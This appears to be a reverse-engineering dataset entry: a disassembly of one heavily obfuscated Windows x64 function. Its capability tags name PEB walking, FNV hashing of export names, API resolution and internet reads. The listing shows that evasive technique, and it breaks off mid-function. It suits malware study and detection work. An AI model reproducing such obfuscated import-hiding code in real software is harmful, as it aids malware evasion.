Function at 0x14007dea0
Capabilities:
Access peb ldr_data
Hash data using fnv
Read data from internet
Receive data
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x578
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4f0], 0xfffffffffffffffe
mov qword [rbp + 0x3b0], r8
mov qword [rbp + 0x3c8], rdx
mov dword [rbp + 0x3d4], 1
mov eax, dword [0x1400f2708]
mov ecx, dword [0x1400f270c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x468]
mov edx, 0xe45bd16b
mov esi, 0x655bcac1
cmove esi, edx
cmp ecx, 0xa
setl byte [rbp - 0x50]
mov edi, 0x655bcac1
cmovl esi, edx
mov edx, 0x8aa159b2
nop dword [rax + rax]
cmp edx, 0x6465c0b0
jg 0x14007df40
cmp edx, 0x8aa159b2
je 0x14007df57
cmp edx, 0xe45bd16b
jne 0x14007df20
jmp 0x14007df8c
cmp edx, 0x6465c0b1
je 0x14007df88
cmp edx, 0x655bcac1
jne 0x14007df20
mov edx, 0x6465c0b1
jmp 0x14007df20
movzx edx, byte [rbp + 0x468]
movzx ebx, byte [rbp - 0x50]
mov ecx, edx
xor cl, bl
mov r8d, edx
or r8b, bl
mov eax, ecx
not al
not dl
or dl, bl
and dl, al
xor dl, r8b
xor dl, cl
test dl, 1
mov edx, 0x6465c0b1
cmovne edx, edi
jmp 0x14007df20
mov edx, esi
jmp 0x14007df20
lea rax, [0x1400f2120]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov qword [rbp + 0x458], rax
mov eax, 0x946470b0
mov r13d, 0x58a11e19
nop word cs:[rax + rax]
cmp eax, 0xbbe3b739
je 0x14007dff0
cmp eax, 0x96c966fb
je 0x14007ff0e
cmp eax, 0x946470b0
jne 0x14007dfc0
cmp qword [rbp + 0x458], 0
mov eax, 0x96c966fb
mov ecx, 0xbbe3b739
cmove eax, ecx
jmp 0x14007dfc0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov r9, qword gs:[0x60]
mov eax, dword [0x1400f2710]
mov ecx, dword [0x1400f2714]
lea r11d, [rax - 1]
imul r11d, eax
mov dword [rbp + 0x400], r11d
and r11d, 1
sete dl
mov dword [rbp + 0x438], ecx
cmp ecx, 0xa
setge bl
setl r8b
mov ecx, r8d
xor cl, dl
mov eax, ecx
xor al, 1
and r11b, r8b
or r11b, al
xor r11b, cl
mov eax, r11d
xor al, 1
and bl, dl
or bl, al
or r8b, dl
xor r8b, cl
mov eax, r8d
xor al, bl
mov ecx, eax
not cl
mov edx, r8d
not dl
and dl, bl
or dl, cl
xor bl, 1
or bl, r8b
xor dl, bl
test dl, 1
mov ecx, 0x8353906e
mov edi, 0x71946ac1
cmovne ecx, edi
test al, 1
mov r14d, 0x71946ac1
cmovne r14d, ecx
test bl, 1
cmove r14d, ecx
test dl, 1
mov rcx, qword [r9 + 0x18]
mov r9, qword [rcx + 0x10]
mov edx, dword [0x1400f2718]
mov eax, 0x8353906e
cmovne r14d, eax
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
sete dl
cmp dword [0x1400f271c], 0xa
setge r10b
setl al
mov ecx, eax
or cl, dl
mov edi, 0xc508309f
mov esi, 0xcc44ccd7
cmovne edi, esi
mov dword [rbp + 0x3e0], edi
mov rdi, qword [r9]
and r10b, dl
xor dl, al
or bl, al
and bl, dl
xor bl, r10b
xor dl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ebx, 0xc508309f
mov ecx, 0xf10f0061
cmovne ebx, ecx
mov qword [rbp - 0x50], rdi
test dl, dl
cmovne ebx, ecx
mov qword [rbp + 0x3e8], rdi
mov qword [rbp - 0x48], rdi
test al, al
cmovne ebx, ecx
mov dword [rbp + 0x488], ebx
mov eax, dword [0x1400f2720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x809b86b9
mov eax, 0xd7e19ab2
cmovne edx, eax
mov ebx, 0xd7e19ab2
mov ecx, 0xb30e34d3
cmove ebx, ecx
cmp dword [0x1400f2724], 0xa
mov eax, 0x809b86b9
cmovl edx, eax
mov dword [rbp + 0x48c], edx
cmovl ebx, ecx
mov dword [rbp + 0x490], ebx
test r11b, r11b
mov eax, 0x8353906e
cmovne eax, r14d
test r8b, r8b
cmove eax, r14d
mov dword [rbp + 0x4c0], eax
mov eax, 0x3a8cbc47
nop
cmp eax, 0x52b0d9ba
jle 0x14007e1c0
cmp eax, 0x52b0d9bb
je 0x14007fdb5
cmp eax, 0x62abb3bd
je 0x14007fef3
cmp eax, 0x681faaa4
jne 0x14007e190
mov eax, 0x62abb3bd
xor edi, edi
jmp 0x14007e190
cmp eax, 0xa588d843
je 0x14007fe9d
cmp eax, 0x3a8cbc47
jne 0x14007e190
lea rax, [rbp - 0x50]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x60]
movzx ecx, word [rcx + 0x58]
and ecx, 0xfffffffe
add rcx, rax
mov qword [rbp + 0x4d8], rcx
mov ecx, 0x811c9dc5
mov edx, 0xfdab94d
nop word cs:[rax + rax]
cmp edx, 0xd7e19ab1
jg 0x14007e240
cmp edx, 0x809b86b9
je 0x14007feb5
cmp edx, 0x9ad9fbe2
je 0x14007e2a0
cmp edx, 0xb30e34d3
jne 0x14007e210
mov edx, dword [rbp + 0x48c]
jmp 0x14007e210
cmp edx, 0xd7e19ab2
je 0x14007e285
cmp edx, 0x354aae89
je 0x14007e28c
cmp edx, 0xfdab94d
jne 0x14007e210
mov dword [rbp + 0x4c8], ecx
mov qword [rbp + 0x468], rax
mov rdx, qword [rbp + 0x4d8]
mov rbx, qword [rbp + 0x468]
cmp rbx, rdx
mov edx, 0x9ad9fbe2
mov ebx, 0x354aae89
cmove edx, ebx
jmp 0x14007e210
mov edx, 0xb30e34d3
jmp 0x14007e210
mov edx, dword [rbp + 0x490]
jmp 0x14007e210
mov qword [rbp + 0x410], rdi
test byte [rbp + 0x400], 1
mov rax, qword [rbp + 0x468]
movsx r8d, byte [rax]
mov eax, dword [rbp + 0x4c8]
mov dword [rbp + 0x4c4], eax
sete byte [rbp + 0x4a4]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4e8]
mov eax, 0x462bec05
jmp 0x14007e300
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0x3117fdc3
jle 0x14007e350
cmp eax, 0x58a11e18
jg 0x14007ed30
cmp eax, 0x3117fdc4
je 0x14007ed68
cmp eax, 0x462bec05
jne 0x14007e300
movzx ecx, byte [rbp + 0x4a4]
cmp byte [rbp + 0x4e8], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14007e300
cmp eax, 0x1f53ad1a
jg 0x14007ed50
cmp eax, 0x8353906e
je 0x14007ed8a
cmp eax, 0xb9e70da7
jne 0x14007e300
mov r14d, dword [rbp + 0x4b0]
mov eax, r14d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r14d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r12d, ecx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, ecx
mov eax, r14d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r14d
and edx, 0x9f67032c
xor edx, eax
mov ebx, edx
xor ebx, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, ebx
mov ebx, edx
xor ebx, 0xfec98f6c
or ebx, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, ebx
mov edx, r12d
and edx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, edx
mov edx, ecx
mov eax, ecx
not r12d
and r12d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r11d, r12d
and r11d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r11d
xor eax, r12d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r12d
or r11d, eax
mov r9d, r11d
xor r9d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov edx, eax
xor edx, 0xe8a0eb7e
mov r15d, ecx
xor r15d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r15d
or ecx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r10d, eax
xor r10d, 0x6aaaac59
and r10d, edx
or r10d, edi
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r10d
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not esi
and esi, ecx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov ecx, esi
or ecx, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r10d, eax
xor r10d, 0x1501f783
and r10d, ecx
xor eax, 0x3d6ad4f5
mov edx, eax
and edx, 0x354014c4
and ecx, 0x4a2ee339
or ecx, edx
or eax, ebx
xor ecx, ebx
not ebx
mov edx, esi
or edx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edi, edx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not edx
and edx, r10d
and r10d, 0x3d6af7f5
xor r10d, esi
xor r10d, 0x9fead69d
or edx, r10d
xor edx, ebx
xor ecx, 0xb5d11cc6
and ecx, eax
or ecx, edx
mov eax, ecx
and eax, 0xd25c9294
or eax, 0x28034442
and ecx, 0x2da36d6b
xor ecx, eax
mov eax, ecx
xor eax, 0x156990b7
mov edx, ecx
xor edx, 0xea966f48
or edx, eax
xor ecx, 0x60a362d4
and ecx, edx
mov eax, ecx
xor eax, 0x8a350d9c
or eax, edx
xor ecx, edx
xor ecx, 0x75caf263
and ecx, eax
mov eax, r14d
and eax, 0xbae01e84
mov edx, r14d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, eax
mov eax, r14d
and eax, 0x80000
mov ebx, edx
and ebx, 0xb4240811
and edx, 0x4bd3f7ee
add eax, ebx
add eax, 0x52e686
xor eax, edx
and r14d, 0xf133e96a
mov esi, r14d
xor r14d, eax
xor eax, 0x9012e802
xor esi, 0xf133e96a
and esi, eax
xor r14d, 0x672d077d
or esi, r14d
mov r10d, esi
not r10d
and r10d, ecx
mov r15d, ecx
or r15d, 0x8e000724
mov edx, ecx
and edx, 0x8e000724
and r14d, 0xc000004
mov eax, esi
and eax, 0x82000720
or eax, r14d
mov ebx, ecx
xor ebx, 0x8a000104
and ebx, edx
not edx
mov r14d, r15d
and r14d, 0xfb0fa016
mov edi, edx
and edi, 0xea028104
or ebx, edi
mov edi, ecx
and edi, 0xf058c9
or edi, r14d
xor edi, ebx
xor edi, 0x11fd79db
mov ebx, ecx
and ebx, 0x609ee042
and r15d, 0x9f611a9d
or r15d, ebx
mov ebx, ecx
and ebx, 0x520
and edx, 0x9f611a9d
add edx, ebx
add edx, 0x609ee042
xor edx, r15d
xor ecx, 0x8e000724
or ecx, edx
not ecx
or ecx, edi
mov edx, eax
and edx, 0x6000000
and esi, 0x71fff8db
or esi, edx
or eax, 0x262e5009
xor eax, esi
mov edx, eax
xor edx, 0xa82e572d
xor eax, 0x57d1a8d2
and eax, ecx
not ecx
and ecx, edx
or eax, ecx
mov edx, r10d
and edx, 0xc64177d6
or edx, 0x39268801
mov ecx, r10d
and ecx, 0x39be8829
xor ecx, edx
mov edx, ecx
xor edx, 0xff67ffd7
mov esi, eax
xor esi, 0x39be8829
or esi, edx
xor ecx, eax
xor ecx, 0x39268801
and ecx, edx
xor ecx, esi
not ecx
and eax, r10d
mov edx, eax
and edx, 0xa32261d0
or edx, 0x10999806
mov esi, eax
and esi, 0x5cdd9e2f
xor esi, edx
xor esi, ecx
and eax, ecx
mov ecx, esi
xor ecx, eax
xor ecx, 0x10999806
xor esi, 0x10999806
and esi, eax
or esi, ecx
mov ecx, esi
mov r10d, esi
mov edi, esi
mov r15d, esi
mov edx, esi
and edx, 0x310718ea
or edx, 0x6f8a511
mov r14d, esi
and r14d, 0xcef8e715
xor r14d, edx
mov edx, r14d
xor edx, 0xf7cb4c5b
or edx, esi
xor r14d, esi
and esi, 0x190a9b13
or ecx, 0xe6f564ec
and r10d, 0xe6f564ec
mov eax, esi
xor eax, 0xc026d4ea
and eax, ecx
or edi, 0xfffd6ffd
mov ebx, edi
and ebx, 0xb0495454
and r15d, 0x28002
or r15d, ebx
not edi
and edi, eax
and eax, 0x592e9bbb
xor eax, r15d
xor eax, 0x304b9016
or edi, eax
xor edi, r10d
xor edi, 0xd92c4ff9
xor esi, 0x190a9b13
mov eax, esi
and eax, 0x21101
and ecx, 0xddf8ce1a
or ecx, eax
or esi, r10d
xor ecx, r10d
xor ecx, 0x220731e5
and ecx, esi
or ecx, edi
mov eax, ecx
xor eax, 0x190a9b13
xor ecx, 0x17c68da6
or ecx, eax
xor r14d, 0x834b3a4
and r14d, edx
mov eax, ecx
not eax
and eax, r14d
xor r14d, ecx
xor r14d, eax
mov edi, r11d
xor edi, 0x843e24b
mov esi, r11d
mov r10d, r11d
mov eax, r11d
mov ecx, r11d
and ecx, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r9d
mov edx, ecx
xor edx, r11d
xor edx, 0x41e20a
xor ecx, 0x41e20a
and ecx, r11d
or ecx, edx
mov edx, ecx
xor edx, 0x6653709e
and edx, edi
or edi, r9d
and r12d, 0x82000820
and esi, 0x1098338a
or esi, r12d
and r10d, 0x6d67c455
or r10d, esi
mov esi, r10d
xor esi, 0x6524261e
mov ebx, edi
and ebx, 0x6d67c455
xor eax, edi
and edi, 0x92983baa
or edi, 0x64244445
xor edi, ebx
mov ebx, edi
xor ebx, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, ebx
xor edi, 0x9438010
and edi, esi
xor eax, 0xf7bc1db4
or eax, r9d
not eax
or eax, edi
or eax, r10d
mov r10d, eax
not r10d
mov ebx, eax
and ebx, 0x6d496c7f
mov edi, ecx
xor edi, 0x99ac8f61
and edi, r9d
or edi, edx
xor ecx, edi
xor ecx, 0x6653709e
and ecx, edi
mov edx, eax
xor edx, 0x5014c23
and edx, ebx
and ebx, ecx
mov esi, eax
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, ecx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, edi
xor ecx, edx
mov edx, ecx
mov edi, ebx
xor edi, ecx
xor edi, 0x720a3010
mov esi, edi
and esi, ebx
xor ecx, 0x60082010
and ecx, ebx
not ebx
xor edx, 0x8df5cfef
and edx, ebx
or edx, ecx
xor edx, esi
and ecx, edi
or ecx, edx
mov edx, r10d
and edx, eax
and eax, 0x29086950
and r10d, 0xd6f7968f
or r10d, eax
xor r10d, 0xd6f7968f
and edx, 0xffffffdf
or edx, r10d
mov r11d, ecx
xor r11d, 0x6d496c5f
lea r9d, [rdx + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov ebx, ecx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r15d, edx
and r15d, 0x85b951c4
mov edi, edx
xor edi, 0x85b951e4
or edi, r15d
not esi
and esi, ebx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor edx, 0x291100
and edx, r15d
mov r10d, ebx
xor eax, 0xffffffdf
mov r12d, eax
and r12d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r12d
or eax, r15d
xor ebx, r15d
or r15d, 0x8594c8c6
xor edx, r15d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, edx
not edx
xor edi, 0xe7b341e4
and edi, edx
or edi, r10d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r11d, r9d
xor ecx, r9d
xor ecx, 0x6d496c5f
or ecx, r11d
mov edx, ebx
and edx, 0x5bce1f7c
xor edx, ecx
mov eax, ebx
xor eax, ecx
not ecx
or ecx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor edx, ebx
and ecx, eax
mov eax, edx
xor eax, ecx
xor eax, 0xe53fe4ff
xor edx, 0xe53fe4ff
and edx, ecx
or edx, eax
mov ecx, edx
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edx
and eax, 0xa9c1d365
xor eax, ecx
mov ebx, edx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, edx
xor ebx, 0x9005300
and eax, ebx
mov ecx, eax
xor ecx, edx
and ecx, ebx
mov ebx, edx
and ebx, 0xa4a3d9c2
and edx, 0x5b5c263d
or edx, 0xa0a01800
xor edx, ebx
mov ebx, edx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor edx, 0x403c1c2
and edx, edi
xor eax, 0x18080420
and eax, ebx
or eax, ecx
or eax, edx
mov edx, eax
not edx
and edx, r14d
mov r10d, r14d
xor r10d, eax
xor r10d, edx
mov r11d, r14d
and r11d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r9d, eax
and r9d, 0x66fc66a2
and r14d, 0x66fc66a2
or r14d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r15d, ebx
or ebx, r9d
not r9d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, eax
and edi, 0x60080022
mov ecx, r9d
and ecx, 0xc602114
add ecx, edi
add ecx, 0x3020681
mov edi, eax
and edi, 0x2944680
xor edi, ecx
mov ecx, edi
xor ecx, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, ecx
or edi, esi
and r15d, 0x89021805
and edx, 0x10ddc158
or edx, r15d
and eax, 0x662026a2
and r9d, 0x10ddc158
or r9d, eax
xor r9d, edx
not r9d
and r9d, ebx
or r9d, edi
xor r9d, r11d
xor r9d, r14d
mov eax, r9d
xor eax, 0x1031108
mov ecx, r10d
xor r9d, 0xfefceef7
and r9d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r9d, eax
or r9d, ecx
mov eax, 0x1f53ad1b
jmp 0x14007e300
cmp eax, 0x58a11e19
je 0x14007e2e1
cmp eax, 0x71946ac1
jne 0x14007e300
mov eax, 0x3117fdc4
jmp 0x14007e300
cmp eax, 0x22c0f4b1
jne 0x14007ed9f
mov eax, 0x1f53ad1b
mov r9d, dword [rbp + 0x4b0]
jmp 0x14007e300
mov dword [rbp + 0x4b0], r8d
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x41
setge byte [rbp + 0x430]
mov eax, dword [rbp + 0x4c0]
jmp 0x14007e300
cmp byte [rbp + 0x430], 0
mov eax, 0x22c0f4b1
cmovne eax, r13d
jmp 0x14007e300
cmp eax, 0x1f53ad1b
jne 0x14007e300
mov esi, dword [rbp + 0x4c4]
mov eax, esi
and eax, 0xa06206ca
mov ecx, esi
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r14d, eax
or r14d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r14d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r14d
and r14d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r14d, edx
xor r14d, ecx
mov eax, r14d
and eax, 0x8b181a5c
or eax, 0x34434021
and r14d, 0x74e7e5a3
xor r14d, eax
mov eax, r14d
xor eax, 0x2feabccf
mov ecx, r14d
xor ecx, 0xd0154330
mov edx, r14d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r14d, 0xf77ca13a
and r14d, eax
or r14d, edx
or ecx, eax
xor r14d, 0x2769e20a
and r14d, ecx
mov eax, r14d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r12d, eax
and r12d, 0x1fbc0278
xor r12d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r12d
xor ecx, 0x24c1653b
xor r12d, 0x2441652b
and r12d, eax
or r12d, ecx
mov eax, esi
and eax, 0xfb1401a1
or eax, 0x688008
mov r11d, esi
and r11d, 0x4ebfe5e
xor r11d, eax
mov eax, r11d
xor eax, 0xbaad4363
or r11d, 0x453a3c94
xor r11d, 0x457abc9c
or r11d, eax
mov eax, esi
and eax, 0xbac5c36b
mov ecx, r11d
xor ecx, 0x29379af7
mov edx, esi
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, esi
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r11d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r11d
xor ecx, eax
not r11d
or r11d, eax
and r11d, ecx
or r11d, ebx
mov eax, esi
and eax, 0x3e90666b
mov ecx, esi
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r11d
mov eax, r11d
xor eax, esi
xor eax, 0x94aca640
xor r11d, 0x94aca640
and r11d, esi
or r11d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r11d
xor r11d, ecx
xor r11d, 0xbebcc648
and r11d, eax
mov r15d, r9d
not r15d
mov edx, r9d
and edx, 0x437fed4a
mov eax, r9d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r9d
mov ebx, r9d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r9d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r9d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edi, eax
and edi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, edi
xor edx, ebx
lea ebx, [rdx + 0x1384000]
mov edi, eax
and edi, 0x28800011
and ecx, 0x9729dbac
or ecx, edi
xor ecx, esi
mov edi, esi
xor edi, 0x4a83322f
and edi, ebx
xor edx, 0xf647adda
and edx, r8d
or edx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov ebx, eax
or ebx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ecx
mov ecx, ebx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, edx
xor eax, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xb412375a
mov edx, ebx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ebx
xor eax, 0xf5840d22
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ebx
xor edx, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, edx
and ebx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ecx
mov esi, ebx
xor esi, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, esi
mov ecx, ebx
or ecx, 0xe47d729f
mov r8d, ecx
and r8d, 0x160e96b2
mov edx, ebx
and edx, 0x9800940
or edx, r8d
xor edx, edi
xor edx, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edi
or ecx, edx
xor ecx, eax
xor ebx, eax
xor ebx, 0x1638c95a
and esi, eax
or esi, ebx
mov eax, ecx
xor eax, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or eax, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x6ec3b5e4
or ecx, 0x80801
and eax, 0x913c4a1b
or eax, 0x28c13164
xor eax, ecx
mov ecx, eax
xor ecx, 0xd736c69a
mov edx, eax
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, eax
xor ebx, 0xd385b194
and ebx, ecx
or ebx, edx
xor eax, ebx
xor ebx, 0x4b3770e
or ebx, ecx
xor eax, 0x2c7a4e6b
and eax, ebx
or r15d, 0xd1969ad4
mov ecx, r9d
and ecx, 0x248000a
mov edx, r15d
and edx, 0x98b14025
or edx, ecx
mov r10d, r15d
and r10d, 0x25043500
or r10d, edx
mov ecx, r10d
and ecx, 0xb2a41504
xor ecx, 0x20280c0
xor r10d, 0xf0ec1f1e
or r10d, ecx
and r9d, 0x22000528
and r15d, 0x5debeac7
or r15d, r9d
mov ecx, r15d
and ecx, 0xc49602b
xor ecx, 0xc496003
xor r15d, 0x10b280fc
or r15d, ecx
mov ecx, r10d
and ecx, 0xfffdff3f
xor ecx, 0x1aaf6d2c
and ecx, r10d
mov edx, r10d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r15d
and ebx, 0x64400203
or r10d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, ebx
xor r15d, edx
xor r15d, ecx
xor r15d, 0x41429241
not r10d
or r10d, r15d
mov r9d, r11d
mov r8d, r11d
mov r15d, r11d
mov esi, r11d
mov ebx, r11d
mov edi, r11d
and edi, 0x100108
mov edx, r11d
or edx, 0x3bac76d0
mov ecx, r11d
xor ecx, 0xc453892f
or ecx, edx
and edx, 0xfc6bc837
or edx, edi
mov edi, r11d
xor edx, r11d
and r11d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r11d
and r8d, 0x70663010
and r15d, 0x2190005
or r15d, 0x7c006010
xor r15d, r8d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r9d
xor esi, r15d
xor esi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r11d
xor ebx, 0xf27fff77
xor edi, 0x8d80cfea
or edi, ebx
not edi
or edi, esi
mov r9d, edi
xor r9d, 0x727f3015
mov ebx, edi
xor ebx, 0xb62cb93a
and ebx, r9d
mov r11d, edi
